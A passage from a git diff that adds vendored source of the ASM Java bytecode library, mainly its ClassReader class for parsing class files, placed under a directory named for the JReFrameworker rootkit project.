byteLength); + } + length += byteLength; + return this; + } + + /** + * Enlarges this byte vector so that it can receive 'size' more bytes. + * + * @param size number of additional bytes that this byte vector should be able to receive. + */ + private void enlarge(final int size) { + int doubleCapacity = 2 * data.length; + int minimalCapacity = length + size; + byte[] newData = new byte[doubleCapacity > minimalCapacity ? doubleCapacity : minimalCapacity]; + System.arraycopy(data, 0, newData, 0, length); + data = newData; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassReader.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassReader.java new file mode 100644 index 0000000..47a6b2e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassReader.java @@ -0,0 +1,3603 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +/** + * A parser to make a {@link ClassVisitor} visit a ClassFile structure, as defined in the Java + * Virtual Machine Specification (JVMS). This class parses the ClassFile content and calls the + * appropriate visit methods of a given {@link ClassVisitor} for each field, method and bytecode + * instruction encountered. + * + * @see JVMS 4 + * @author Eric Bruneton + * @author Eugene Kuleshov + */ +public class ClassReader { + + /** + * A flag to skip the Code attributes. If this flag is set the Code attributes are neither parsed + * nor visited. + */ + public static final int SKIP_CODE = 1; + + /** + * A flag to skip the SourceFile, SourceDebugExtension, LocalVariableTable, LocalVariableTypeTable + * and LineNumberTable attributes. If this flag is set these attributes are neither parsed nor + * visited (i.e. {@link ClassVisitor#visitSource}, {@link MethodVisitor#visitLocalVariable} and + * {@link MethodVisitor#visitLineNumber} are not called). + */ + public static final int SKIP_DEBUG = 2; + + /** + * A flag to skip the StackMap and StackMapTable attributes. If this flag is set these attributes + * are neither parsed nor visited (i.e. {@link MethodVisitor#visitFrame} is not called). This flag + * is useful when the {@link ClassWriter#COMPUTE_FRAMES} option is used: it avoids visiting frames + * that will be ignored and recomputed from scratch. + */ + public static final int SKIP_FRAMES = 4; + + /** + * A flag to expand the stack map frames. By default stack map frames are visited in their + * original format (i.e. "expanded" for classes whose version is less than V1_6, and "compressed" + * for the other classes). If this flag is set, stack map frames are always visited in expanded + * format (this option adds a decompression/compression step in ClassReader and ClassWriter which + * degrades performance quite a lot). + */ + public static final int EXPAND_FRAMES = 8; + + /** + * A flag to expand the ASM specific instructions into an equivalent sequence of standard bytecode + * instructions. When resolving a forward jump it may happen that the signed 2 bytes offset + * reserved for it is not sufficient to store the bytecode offset. In this case the jump + * instruction is replaced with a temporary ASM specific instruction using an unsigned 2 bytes + * offset (see {@link Label#resolve}). This internal flag is used to re-read classes containing + * such instructions, in order to replace them with standard instructions. In addition, when this + * flag is used, goto_w and jsr_w are not converted into goto and jsr, to make sure that + * infinite loops where a goto_w is replaced with a goto in ClassReader and converted back to a + * goto_w in ClassWriter cannot occur. + */ + static final int EXPAND_ASM_INSNS = 256; + + /** The size of the temporary byte array used to read class input streams chunk by chunk. */ + private static final int INPUT_STREAM_DATA_CHUNK_SIZE = 4096; + + /** + * A byte array containing the JVMS ClassFile structure to be parsed. The content of this array + * must not be modified. This field is intended for {@link Attribute} sub classes, and is normally + * not needed by class visitors. + * + *

NOTE: the ClassFile structure can start at any offset within this array, i.e. it does not + * necessarily start at offset 0. Use {@link #getItem} and {@link #header} to get correct + * ClassFile element offsets within this byte array. + */ + // DontCheck(MemberName): can't be renamed (for backward binary compatibility). + public final byte[] b; + + /** + * The offset in bytes, in {@link #b}, of each cp_info entry of the ClassFile's constant_pool + * array, plus one. In other words, the offset of constant pool entry i is given by + * cpInfoOffsets[i] - 1, i.e. its cp_info's tag field is given by b[cpInfoOffsets[i] - 1]. + */ + private final int[] cpInfoOffsets; + + /** + * The String objects corresponding to the CONSTANT_Utf8 constant pool items. This cache avoids + * multiple parsing of a given CONSTANT_Utf8 constant pool item. + */ + private final String[] constantUtf8Values; + + /** + * The ConstantDynamic objects corresponding to the CONSTANT_Dynamic constant pool items. This + * cache avoids multiple parsing of a given CONSTANT_Dynamic constant pool item. + */ + private final ConstantDynamic[] constantDynamicValues; + + /** + * The start offsets in {@link #b} of each element of the bootstrap_methods array (in the + * BootstrapMethods attribute). + * + * @see JVMS + * 4.7.23 + */ + private final int[] bootstrapMethodOffsets; + + /** + * A conservative estimate of the maximum length of the strings contained in the constant pool of + * the class. + */ + private final int maxStringLength; + + /** The offset in bytes, in {@link #b}, of the ClassFile's access_flags field. */ + public final int header; + + // ----------------------------------------------------------------------------------------------- + // Constructors + // ----------------------------------------------------------------------------------------------- + + /** + * Constructs a new {@link ClassReader} object. + * + * @param classFile the JVMS ClassFile structure to be read. + */ + public ClassReader(final byte[] classFile) { + this(classFile, 0, classFile.length); + } + + /** + * Constructs a new {@link ClassReader} object. + * + * @param classFileBuffer a byte array containing the JVMS ClassFile structure to be read. + * @param classFileOffset the offset in byteBuffer of the first byte of the ClassFile to be read. + * @param classFileLength the length in bytes of the ClassFile to be read. + */ + public ClassReader( + final byte[] classFileBuffer, + final int classFileOffset, + final int classFileLength) { // NOPMD(UnusedFormalParameter) used for backward compatibility. + this(classFileBuffer, classFileOffset, /* checkClassVersion = */ true); + } + + /** + * Constructs a new {@link ClassReader} object. This internal constructor must not be exposed + * as a public API. + * + * @param classFileBuffer a byte array containing the JVMS ClassFile structure to be read. + * @param classFileOffset the offset in byteBuffer of the first byte of the ClassFile to be read. + * @param checkClassVersion whether to check the class version or not. + */ + ClassReader( + final byte[] classFileBuffer, final int classFileOffset, final boolean checkClassVersion) { + b = classFileBuffer; + // Check the class' major_version. This field is after the magic and minor_version fields, which + // use 4 and 2 bytes respectively. + if (checkClassVersion && readShort(classFileOffset + 6) > Opcodes.V12) { + throw new IllegalArgumentException( + "Unsupported class file major version " + readShort(classFileOffset + 6)); + } + // Create the constant pool arrays. The constant_pool_count field is after the magic, + // minor_version and major_version fields, which use 4, 2 and 2 bytes respectively. + int constantPoolCount = readUnsignedShort(classFileOffset + 8); + cpInfoOffsets = new int[constantPoolCount]; + constantUtf8Values = new String[constantPoolCount]; + // Compute the offset of each constant pool entry, as well as a conservative estimate of the + // maximum length of the constant pool strings. The first constant pool entry is after the + // magic, minor_version, major_version and constant_pool_count fields, which use 4, 2, 2 and 2 + // bytes respectively. + int currentCpInfoIndex = 1; + int currentCpInfoOffset = classFileOffset + 10; + int currentMaxStringLength = 0; + boolean hasConstantDynamic = false; + boolean hasConstantInvokeDynamic = false; + // The offset of the other entries depend on the total size of all the previous entries. + while (currentCpInfoIndex < constantPoolCount) { + cpInfoOffsets[currentCpInfoIndex++] = currentCpInfoOffset + 1; + int cpInfoSize; + switch (classFileBuffer[currentCpInfoOffset]) { + case Symbol.CONSTANT_FIELDREF_TAG: + case Symbol.CONSTANT_METHODREF_TAG: + case Symbol.CONSTANT_INTERFACE_METHODREF_TAG: + case Symbol.CONSTANT_INTEGER_TAG: + case Symbol.CONSTANT_FLOAT_TAG: + case Symbol.CONSTANT_NAME_AND_TYPE_TAG: + cpInfoSize = 5; + break; + case Symbol.CONSTANT_DYNAMIC_TAG: + cpInfoSize = 5; + hasConstantDynamic = true; + break; + case Symbol.CONSTANT_INVOKE_DYNAMIC_TAG: + cpInfoSize = 5; + hasConstantInvokeDynamic = true; + break; + case Symbol.CONSTANT_LONG_TAG: + case Symbol.CONSTANT_DOUBLE_TAG: + cpInfoSize = 9; + currentCpInfoIndex++; + break; + case Symbol.CONSTANT_UTF8_TAG: + cpInfoSize = 3 + readUnsignedShort(currentCpInfoOffset + 1); + if (cpInfoSize > currentMaxStringLength) { + // The size in bytes of this CONSTANT_Utf8 structure provides a conservative estimate + // of the length in characters of the corresponding string, and is much cheaper to + // compute than this exact length. + currentMaxStringLength = cpInfoSize; + } + break; + case Symbol.CONSTANT_METHOD_HANDLE_TAG: + cpInfoSize = 4; + break; + case Symbol.CONSTANT_CLASS_TAG: + case Symbol.CONSTANT_STRING_TAG: + case Symbol.CONSTANT_METHOD_TYPE_TAG: + case Symbol.CONSTANT_PACKAGE_TAG: + case Symbol.CONSTANT_MODULE_TAG: + cpInfoSize = 3; + break; + default: + throw new IllegalArgumentException(); + } + currentCpInfoOffset += cpInfoSize; + } + maxStringLength = currentMaxStringLength; + // The Classfile's access_flags field is just after the last constant pool entry. + header = currentCpInfoOffset; + + // Allocate the cache of ConstantDynamic values, if there is at least one. + constantDynamicValues = hasConstantDynamic ? new ConstantDynamic[constantPoolCount] : null; + + // Read the BootstrapMethods attribute, if any (only get the offset of each method). + bootstrapMethodOffsets = + (hasConstantDynamic | hasConstantInvokeDynamic) + ? readBootstrapMethodsAttribute(currentMaxStringLength) + : null; + } + + /** + * Constructs a new {@link ClassReader} object. + * + * @param inputStream an input stream of the JVMS ClassFile structure to be read. This input + * stream must contain nothing more than the ClassFile structure itself. It is read from its + * current position to its end. + * @throws IOException if a problem occurs during reading. + */ + public ClassReader(final InputStream inputStream) throws IOException { + this(readStream(inputStream, false)); + } + + /** + * Constructs a new {@link ClassReader} object. + * + * @param className the fully qualified name of the class to be read. The ClassFile structure is + * retrieved with the current class loader's {@link ClassLoader#getSystemResourceAsStream}. + * @throws IOException if an exception occurs during reading. + */ + public ClassReader(final String className) throws IOException { + this( + readStream( + ClassLoader.getSystemResourceAsStream(className.replace('.', '/') + ".class"), true)); + } + + /** + * Reads the given input stream and returns its content as a byte array. + * + * @param inputStream an input stream. + * @param close true to close the input stream after reading. + * @return the content of the given input stream. + * @throws IOException if a problem occurs during reading. + */ + private static byte[] readStream(final InputStream inputStream, final boolean close) + throws IOException { + if (inputStream == null) { + throw new IOException("Class not found"); + } + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + byte[] data = new byte[INPUT_STREAM_DATA_CHUNK_SIZE]; + int bytesRead; + while ((bytesRead = inputStream.read(data, 0, data.length)) != -1) { + outputStream.write(data, 0, bytesRead); + } + outputStream.flush(); + return outputStream.toByteArray(); + } finally { + if (close) { + inputStream.close(); + } + } + } + + // ----------------------------------------------------------------------------------------------- + // Accessors + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the class's access flags (see {@link Opcodes}). This value may not reflect Deprecated + * and Synthetic flags when bytecode is before 1.5 and those flags are represented by attributes. + * + * @return the class access flags. + * @see ClassVisitor#visit(int, int, String, String, String, String[]) + */ + public int getAccess() { + return readUnsignedShort(header); + } + + /** + * Returns the internal name of the class (see {@link Type#getInternalName()}). + * + * @return the internal class name. + * @see ClassVisitor#visit(int, int, String, String, String, String[]) + */ + public String getClassName() { + // this_class is just after the access_flags field (using 2 bytes). + return readClass(header + 2, new char[maxStringLength]); + } + + /** + * Returns the internal of name of the super class (see {@link Type#getInternalName()}). For + * interfaces, the super class is {@link Object}. + * + * @return the internal name of the super class, or {@literal null} for {@link Object} class. + * @see ClassVisitor#visit(int, int, String, String, String, String[]) + */ + public String getSuperName() { + // super_class is after the access_flags and this_class fields (2 bytes each). + return readClass(header + 4, new char[maxStringLength]); + } + + /** + * Returns the internal names of the implemented interfaces (see {@link Type#getInternalName()}). + * + * @return the internal names of the directly implemented interfaces. Inherited implemented + * interfaces are not returned. + * @see ClassVisitor#visit(int, int, String, String, String, String[]) + */ + public String[] getInterfaces() { + // interfaces_count is after the access_flags, this_class and super_class fields (2 bytes each). + int currentOffset = header + 6; + int interfacesCount = readUnsignedShort(currentOffset); + String[] interfaces = new String[interfacesCount]; + if (interfacesCount > 0) { + char[] charBuffer = new char[maxStringLength]; + for (int i = 0; i < interfacesCount; ++i) { + currentOffset += 2; + interfaces[i] = readClass(currentOffset, charBuffer); + } + } + return interfaces; + } + + // ----------------------------------------------------------------------------------------------- + // Public methods + // ----------------------------------------------------------------------------------------------- + + /** + * Makes the given visitor visit the JVMS ClassFile structure passed to the constructor of this + * {@link ClassReader}. + * + * @param classVisitor the visitor that must visit this class. + * @param parsingOptions the options to use to parse this class. One or more of {@link + * #SKIP_CODE}, {@link #SKIP_DEBUG}, {@link #SKIP_FRAMES} or {@link #EXPAND_FRAMES}. + */ + public void accept(final ClassVisitor classVisitor, final int parsingOptions) { + accept(classVisitor, new Attribute[0], parsingOptions); + } + + /** + * Makes the given visitor visit the JVMS ClassFile structure passed to the constructor of this + * {@link ClassReader}. + * + * @param classVisitor the visitor that must visit this class. + * @param attributePrototypes prototypes of the attributes that must be parsed during the visit of + * the class. Any attribute whose type is not equal to the type of one the prototypes will not + * be parsed: its byte array value will be passed unchanged to the ClassWriter. This may + * corrupt it if this value contains references to the constant pool, or has syntactic or + * semantic links with a class element that has been transformed by a class adapter between + * the reader and the writer. + * @param parsingOptions the options to use to parse this class. One or more of {@link + * #SKIP_CODE}, {@link #SKIP_DEBUG}, {@link #SKIP_FRAMES} or {@link #EXPAND_FRAMES}. + */ + public void accept( + final ClassVisitor classVisitor, + final Attribute[] attributePrototypes, + final int parsingOptions) { + Context context = new Context(); + context.attributePrototypes = attributePrototypes; + context.parsingOptions = parsingOptions; + context.charBuffer = new char[maxStringLength]; + + // Read the access_flags, this_class, super_class, interface_count and interfaces fields. + char[] charBuffer = context.charBuffer; + int currentOffset = header; + int accessFlags = readUnsignedShort(currentOffset); + String thisClass = readClass(currentOffset + 2, charBuffer); + String superClass = readClass(currentOffset + 4, charBuffer); + String[] interfaces = new String[readUnsignedShort(currentOffset + 6)]; + currentOffset += 8; + for (int i = 0; i < interfaces.length; ++i) { + interfaces[i] = readClass(currentOffset, charBuffer); + currentOffset += 2; + } + + // Read the class attributes (the variables are ordered as in Section 4.7 of the JVMS). + // Attribute offsets exclude the attribute_name_index and attribute_length fields. + // - The offset of the InnerClasses attribute, or 0. + int innerClassesOffset = 0; + // - The offset of the EnclosingMethod attribute, or 0. + int enclosingMethodOffset = 0; + // - The string corresponding to the Signature attribute, or null. + String signature = null; + // - The string corresponding to the SourceFile attribute, or null. + String sourceFile = null; + // - The string corresponding to the SourceDebugExtension attribute, or null. + String sourceDebugExtension = null; + // - The offset of the RuntimeVisibleAnnotations attribute, or 0. + int runtimeVisibleAnnotationsOffset = 0; + // - The offset of the RuntimeInvisibleAnnotations attribute, or 0. + int runtimeInvisibleAnnotationsOffset = 0; + // - The offset of the RuntimeVisibleTypeAnnotations attribute, or 0. + int runtimeVisibleTypeAnnotationsOffset = 0; + // - The offset of the RuntimeInvisibleTypeAnnotations attribute, or 0. + int runtimeInvisibleTypeAnnotationsOffset = 0; + // - The offset of the Module attribute, or 0. + int moduleOffset = 0; + // - The offset of the ModulePackages attribute, or 0. + int modulePackagesOffset = 0; + // - The string corresponding to the ModuleMainClass attribute, or null. + String moduleMainClass = null; + // - The string corresponding to the NestHost attribute, or null. + String nestHostClass = null; + // - The offset of the NestMembers attribute, or 0. + int nestMembersOffset = 0; + // - The non standard attributes (linked with their {@link Attribute#nextAttribute} field). + // This list in the reverse order or their order in the ClassFile structure. + Attribute attributes = null; + + int currentAttributeOffset = getFirstAttributeOffset(); + for (int i = readUnsignedShort(currentAttributeOffset - 2); i > 0; --i) { + // Read the attribute_info's attribute_name and attribute_length fields. + String attributeName = readUTF8(currentAttributeOffset, charBuffer); + int attributeLength = readInt(currentAttributeOffset + 2); + currentAttributeOffset += 6; + // The tests are sorted in decreasing frequency order (based on frequencies observed on + // typical classes). + if (Constants.SOURCE_FILE.equals(attributeName)) { + sourceFile = readUTF8(currentAttributeOffset, charBuffer); + } else if (Constants.INNER_CLASSES.equals(attributeName)) { + innerClassesOffset = currentAttributeOffset; + } else if (Constants.ENCLOSING_METHOD.equals(attributeName)) { + enclosingMethodOffset = currentAttributeOffset; + } else if (Constants.NEST_HOST.equals(attributeName)) { + nestHostClass = readClass(currentAttributeOffset, charBuffer); + } else if (Constants.NEST_MEMBERS.equals(attributeName)) { + nestMembersOffset = currentAttributeOffset; + } else if (Constants.SIGNATURE.equals(attributeName)) { + signature = readUTF8(currentAttributeOffset, charBuffer); + } else if (Constants.RUNTIME_VISIBLE_ANNOTATIONS.equals(attributeName)) { + runtimeVisibleAnnotationsOffset = currentAttributeOffset; + } else if (Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS.equals(attributeName)) { + runtimeVisibleTypeAnnotationsOffset = currentAttributeOffset; + } else if (Constants.DEPRECATED.equals(attributeName)) { + accessFlags |= Opcodes.ACC_DEPRECATED; + } else if (Constants.SYNTHETIC.equals(attributeName)) { + accessFlags |= Opcodes.ACC_SYNTHETIC; + } else if (Constants.SOURCE_DEBUG_EXTENSION.equals(attributeName)) { + sourceDebugExtension = + readUtf(currentAttributeOffset, attributeLength, new char[attributeLength]); + } else if (Constants.RUNTIME_INVISIBLE_ANNOTATIONS.equals(attributeName)) { + runtimeInvisibleAnnotationsOffset = currentAttributeOffset; + } else if (Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS.equals(attributeName)) { + runtimeInvisibleTypeAnnotationsOffset = currentAttributeOffset; + } else if (Constants.MODULE.equals(attributeName)) { + moduleOffset = currentAttributeOffset; + } else if (Constants.MODULE_MAIN_CLASS.equals(attributeName)) { + moduleMainClass = readClass(currentAttributeOffset, charBuffer); + } else if (Constants.MODULE_PACKAGES.equals(attributeName)) { + modulePackagesOffset = currentAttributeOffset; + } else if (!Constants.BOOTSTRAP_METHODS.equals(attributeName)) { + // The BootstrapMethods attribute is read in the constructor. + Attribute attribute = + readAttribute( + attributePrototypes, + attributeName, + currentAttributeOffset, + attributeLength, + charBuffer, + -1, + null); + attribute.nextAttribute = attributes; + attributes = attribute; + } + currentAttributeOffset += attributeLength; + } + + // Visit the class declaration. The minor_version and major_version fields start 6 bytes before + // the first constant pool entry, which itself starts at cpInfoOffsets[1] - 1 (by definition). + classVisitor.visit( + readInt(cpInfoOffsets[1] - 7), accessFlags, thisClass, signature, superClass, interfaces); + + // Visit the SourceFile and SourceDebugExtenstion attributes. + if ((parsingOptions & SKIP_DEBUG) == 0 + && (sourceFile != null || sourceDebugExtension != null)) { + classVisitor.visitSource(sourceFile, sourceDebugExtension); + } + + // Visit the Module, ModulePackages and ModuleMainClass attributes. + if (moduleOffset != 0) { + readModuleAttributes( + classVisitor, context, moduleOffset, modulePackagesOffset, moduleMainClass); + } + + // Visit the NestHost attribute. + if (nestHostClass != null) { + classVisitor.visitNestHost(nestHostClass); + } + + // Visit the EnclosingMethod attribute. + if (enclosingMethodOffset != 0) { + String className = readClass(enclosingMethodOffset, charBuffer); + int methodIndex = readUnsignedShort(enclosingMethodOffset + 2); + String name = methodIndex == 0 ? null : readUTF8(cpInfoOffsets[methodIndex], charBuffer); + String type = methodIndex == 0 ? null : readUTF8(cpInfoOffsets[methodIndex] + 2, charBuffer); + classVisitor.visitOuterClass(className, name, type); + } + + // Visit the RuntimeVisibleAnnotations attribute. + if (runtimeVisibleAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeVisibleAnnotationsOffset); + int currentAnnotationOffset = runtimeVisibleAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + classVisitor.visitAnnotation(annotationDescriptor, /* visible = */ true), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeInvisibleAnnotations attribute. + if (runtimeInvisibleAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeInvisibleAnnotationsOffset); + int currentAnnotationOffset = runtimeInvisibleAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + classVisitor.visitAnnotation(annotationDescriptor, /* visible = */ false), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeVisibleTypeAnnotations attribute. + if (runtimeVisibleTypeAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeVisibleTypeAnnotationsOffset); + int currentAnnotationOffset = runtimeVisibleTypeAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the target_type, target_info and target_path fields. + currentAnnotationOffset = readTypeAnnotationTarget(context, currentAnnotationOffset); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + classVisitor.visitTypeAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + annotationDescriptor, + /* visible = */ true), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeInvisibleTypeAnnotations attribute. + if (runtimeInvisibleTypeAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeInvisibleTypeAnnotationsOffset); + int currentAnnotationOffset = runtimeInvisibleTypeAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the target_type, target_info and target_path fields. + currentAnnotationOffset = readTypeAnnotationTarget(context, currentAnnotationOffset); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + classVisitor.visitTypeAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + annotationDescriptor, + /* visible = */ false), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the non standard attributes. + while (attributes != null) { + // Copy and reset the nextAttribute field so that it can also be used in ClassWriter. + Attribute nextAttribute = attributes.nextAttribute; + attributes.nextAttribute = null; + classVisitor.visitAttribute(attributes); + attributes = nextAttribute; + } + + // Visit the NestedMembers attribute. + if (nestMembersOffset != 0) { + int numberOfNestMembers = readUnsignedShort(nestMembersOffset); + int currentNestMemberOffset = nestMembersOffset + 2; + while (numberOfNestMembers-- > 0) { + classVisitor.visitNestMember(readClass(currentNestMemberOffset, charBuffer)); + currentNestMemberOffset += 2; + } + } + + // Visit the InnerClasses attribute. + if (innerClassesOffset != 0) { + int numberOfClasses = readUnsignedShort(innerClassesOffset); + int currentClassesOffset = innerClassesOffset + 2; + while (numberOfClasses-- > 0) { + classVisitor.visitInnerClass( + readClass(currentClassesOffset, charBuffer), + readClass(currentClassesOffset + 2, charBuffer), + readUTF8(currentClassesOffset + 4, charBuffer), + readUnsignedShort(currentClassesOffset + 6)); + currentClassesOffset += 8; + } + } + + // Visit the fields and methods. + int fieldsCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (fieldsCount-- > 0) { + currentOffset = readField(classVisitor, context, currentOffset); + } + int methodsCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (methodsCount-- > 0) { + currentOffset = readMethod(classVisitor, context, currentOffset); + } + + // Visit the end of the class. + classVisitor.visitEnd(); + } + + // ---------------------------------------------------------------------------------------------- + // Methods to parse modules, fields and methods + // ---------------------------------------------------------------------------------------------- + + /** + * Reads the Module, ModulePackages and ModuleMainClass attributes and visit them. + * + * @param classVisitor the current class visitor + * @param context information about the class being parsed. + * @param moduleOffset the offset of the Module attribute (excluding the attribute_info's + * attribute_name_index and attribute_length fields). + * @param modulePackagesOffset the offset of the ModulePackages attribute (excluding the + * attribute_info's attribute_name_index and attribute_length fields), or 0. + * @param moduleMainClass the string corresponding to the ModuleMainClass attribute, or null. + */ + private void readModuleAttributes( + final ClassVisitor classVisitor, + final Context context, + final int moduleOffset, + final int modulePackagesOffset, + final String moduleMainClass) { + char[] buffer = context.charBuffer; + + // Read the module_name_index, module_flags and module_version_index fields and visit them. + int currentOffset = moduleOffset; + String moduleName = readModule(currentOffset, buffer); + int moduleFlags = readUnsignedShort(currentOffset + 2); + String moduleVersion = readUTF8(currentOffset + 4, buffer); + currentOffset += 6; + ModuleVisitor moduleVisitor = classVisitor.visitModule(moduleName, moduleFlags, moduleVersion); + if (moduleVisitor == null) { + return; + } + + // Visit the ModuleMainClass attribute. + if (moduleMainClass != null) { + moduleVisitor.visitMainClass(moduleMainClass); + } + + // Visit the ModulePackages attribute. + if (modulePackagesOffset != 0) { + int packageCount = readUnsignedShort(modulePackagesOffset); + int currentPackageOffset = modulePackagesOffset + 2; + while (packageCount-- > 0) { + moduleVisitor.visitPackage(readPackage(currentPackageOffset, buffer)); + currentPackageOffset += 2; + } + } + + // Read the 'requires_count' and 'requires' fields. + int requiresCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (requiresCount-- > 0) { + // Read the requires_index, requires_flags and requires_version fields and visit them. + String requires = readModule(currentOffset, buffer); + int requiresFlags = readUnsignedShort(currentOffset + 2); + String requiresVersion = readUTF8(currentOffset + 4, buffer); + currentOffset += 6; + moduleVisitor.visitRequire(requires, requiresFlags, requiresVersion); + } + + // Read the 'exports_count' and 'exports' fields. + int exportsCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (exportsCount-- > 0) { + // Read the exports_index, exports_flags, exports_to_count and exports_to_index fields + // and visit them. + String exports = readPackage(currentOffset, buffer); + int exportsFlags = readUnsignedShort(currentOffset + 2); + int exportsToCount = readUnsignedShort(currentOffset + 4); + currentOffset += 6; + String[] exportsTo = null; + if (exportsToCount != 0) { + exportsTo = new String[exportsToCount]; + for (int i = 0; i < exportsToCount; ++i) { + exportsTo[i] = readModule(currentOffset, buffer); + currentOffset += 2; + } + } + moduleVisitor.visitExport(exports, exportsFlags, exportsTo); + } + + // Reads the 'opens_count' and 'opens' fields. + int opensCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (opensCount-- > 0) { + // Read the opens_index, opens_flags, opens_to_count and opens_to_index fields and visit them. + String opens = readPackage(currentOffset, buffer); + int opensFlags = readUnsignedShort(currentOffset + 2); + int opensToCount = readUnsignedShort(currentOffset + 4); + currentOffset += 6; + String[] opensTo = null; + if (opensToCount != 0) { + opensTo = new String[opensToCount]; + for (int i = 0; i < opensToCount; ++i) { + opensTo[i] = readModule(currentOffset, buffer); + currentOffset += 2; + } + } + moduleVisitor.visitOpen(opens, opensFlags, opensTo); + } + + // Read the 'uses_count' and 'uses' fields. + int usesCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (usesCount-- > 0) { + moduleVisitor.visitUse(readClass(currentOffset, buffer)); + currentOffset += 2; + } + + // Read the 'provides_count' and 'provides' fields. + int providesCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (providesCount-- > 0) { + // Read the provides_index, provides_with_count and provides_with_index fields and visit them. + String provides = readClass(currentOffset, buffer); + int providesWithCount = readUnsignedShort(currentOffset + 2); + currentOffset += 4; + String[] providesWith = new String[providesWithCount]; + for (int i = 0; i < providesWithCount; ++i) { + providesWith[i] = readClass(currentOffset, buffer); + currentOffset += 2; + } + moduleVisitor.visitProvide(provides, providesWith); + } + + // Visit the end of the module attributes. + moduleVisitor.visitEnd(); + } + + /** + * Reads a JVMS field_info structure and makes the given visitor visit it. + * + * @param classVisitor the visitor that must visit the field. + * @param context information about the class being parsed. + * @param fieldInfoOffset the start offset of the field_info structure. + * @return the offset of the first byte following the field_info structure. + */ + private int readField( + final ClassVisitor classVisitor, final Context context, final int fieldInfoOffset) { + char[] charBuffer = context.charBuffer; + + // Read the access_flags, name_index and descriptor_index fields. + int currentOffset = fieldInfoOffset; + int accessFlags = readUnsignedShort(currentOffset); + String name = readUTF8(currentOffset + 2, charBuffer); + String descriptor = readUTF8(currentOffset + 4, charBuffer); + currentOffset += 6; + + // Read the field attributes (the variables are ordered as in Section 4.7 of the JVMS). + // Attribute offsets exclude the attribute_name_index and attribute_length fields. + // - The value corresponding to the ConstantValue attribute, or null. + Object constantValue = null; + // - The string corresponding to the Signature attribute, or null. + String signature = null; + // - The offset of the RuntimeVisibleAnnotations attribute, or 0. + int runtimeVisibleAnnotationsOffset = 0; + // - The offset of the RuntimeInvisibleAnnotations attribute, or 0. + int runtimeInvisibleAnnotationsOffset = 0; + // - The offset of the RuntimeVisibleTypeAnnotations attribute, or 0. + int 